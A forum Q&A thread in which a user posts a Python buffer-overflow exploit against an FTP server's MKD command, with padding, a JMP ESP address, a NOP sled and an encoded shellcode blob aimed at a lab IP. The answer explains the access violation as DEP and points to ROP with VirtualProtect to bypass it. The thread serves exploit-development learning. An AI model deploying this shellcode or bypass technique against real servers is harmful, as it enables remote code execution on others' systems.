Immunity debugger: access violation when executing - exploit

Question

I am writing a simple exploit code use jmp to esp, but after go to esp at address 00B7FC2C Immunity show error: Access violation when executing [00B7FC2C]
here is my code:
#!/usr/bin/python2.7
import sys, os, socket
fuzz = "\x41" * 248
eip = "\x59\x54\xC3\x77"
nops = "\x90" * 8
shellcode = "\xdb\xcc\xba\x40\xb6\x7d\xba\xd9\x74\x24\xf4\x58\x29\xc9"
shellcode += "\xb1\x50\x31\x50\x18\x03\x50\x18\x83\xe8\xbc\x54\x88\x46"
shellcode += "\x56\x72\x3e\x5f\x5f\x7b\x3e\x60\xff\x0f\xad\xbb\xdb\x84"
shellcode += "\x6b\xf8\xa8\xe7\x76\x78\xaf\xf8\xf2\x37\xb7\x8d\x5a\xe8"
shellcode += "\xc6\x7a\x2d\x63\xfc\xf7\xaf\x9d\xcd\xc7\x29\xcd\xa9\x08"
shellcode += "\x3d\x09\x70\x42\xb3\x14\xb0\xb8\x38\x2d\x60\x1b\xe9\x27"
shellcode += "\x6d\xe8\xb6\xe3\x6c\x04\x2e\x67\x62\x91\x24\x28\x66\x24"
shellcode += "\xd0\xd4\xba\xad\xaf\xb7\xe6\xad\xce\x84\xd7\x16\x74\x80"
shellcode += "\x54\x99\xfe\xd6\x56\x52\x70\xcb\xcb\xef\x31\xfb\x4d\x98"
shellcode += "\x3f\xb5\x7f\xb4\x10\xb5\xa9\x22\xc2\x2f\x3d\x98\xd6\xc7"
shellcode += "\xca\xad\x24\x47\x60\xad\x99\x1f\x43\xbc\xe6\xdb\x03\xc0"
shellcode += "\xc1\x43\x2a\xdb\x88\xfa\xc1\x2c\x57\xa8\x73\x2f\xa8\x82"
shellcode += "\xeb\xf6\x5f\xd6\x46\x5f\x9f\xce\xcb\x33\x0c\xbc\xb8\xf0"
shellcode += "\xe1\x01\x6d\x08\xd5\xe0\xf9\xe7\x8a\x8a\xaa\x8e\xd2\xc6"
shellcode += "\x24\x35\x0e\x99\x73\x62\xd0\x8f\x11\x9d\x7f\x65\x1a\x4d"
shellcode += "\x17\x21\x49\x40\x01\x7e\x6e\x4b\x82\xd4\x6f\xa4\x4d\x32"
shellcode += "\xc6\xc3\xc7\xeb\x27\x1d\x87\x47\x83\xf7\xd7\xb8\xb8\x90"
shellcode += "\xc0\x40\x78\x19\x58\x4c\x52\x8f\x99\x62\x3c\x5a\x02\xe5"
shellcode += "\xa8\xf9\xa7\x60\xcd\x94\x67\x2a\x24\xa5\x01\x2b\x5c\x71"
shellcode += "\x9b\x56\x91\xb9\x68\x3c\x2f\x7b\xa2\xbf\x8d\x50\x2f\xb2"
shellcode += "\x6b\x91\xe4\x66\x20\x89\x88\x86\x85\x5c\x92\x02\xad\x9f"
shellcode += "\xba\xb6\x7a\x32\x12\x18\xd5\xd8\x95\xcb\x84\x49\xc7\x14"
shellcode += "\xf6\x1a\x4a\x33\xf3\x14\xc7\x3b\x2d\xc2\x17\x3c\xe6\xec"
shellcode += "\x38\x48\x5f\xef\x3a\x8b\x3b\xf0\xeb\x46\x3c\xde\x7c\x88"
shellcode += "\x0c\x3f\x1c\x05\x6f\x16\x22\x79"
command = "MKD"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect(('10.0.0.2',21))
print "\n" + s.recv(1024)
s.send('USER anonymous\r\n')
print "\n" + s.recv(1024)
s.send('PASS \r\n')
print "\n" + s.recv(1024)
s.send(command + '' + fuzz + nops + shellcode + '\r\n')
print "\n" + s.recv(1024)
s.send('QUIT\r\n')
s.close()

Answer 1

As you didn't include the opcode at the address or registry values, I'll point to the most likely explanation. It would appear that the process you are exploiting takes advatange of Data Execution Protection (DEP) to prevent data on the stack executing as code. The trick to executing your shellcode under DEP is to use Return Oriented Programming (ROP) to call VirtualProtect() or a similar function to disable DEP for the memory area that holds your shellcode before returning control to your shellcode. You can find more information on bypassing DEP here: https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube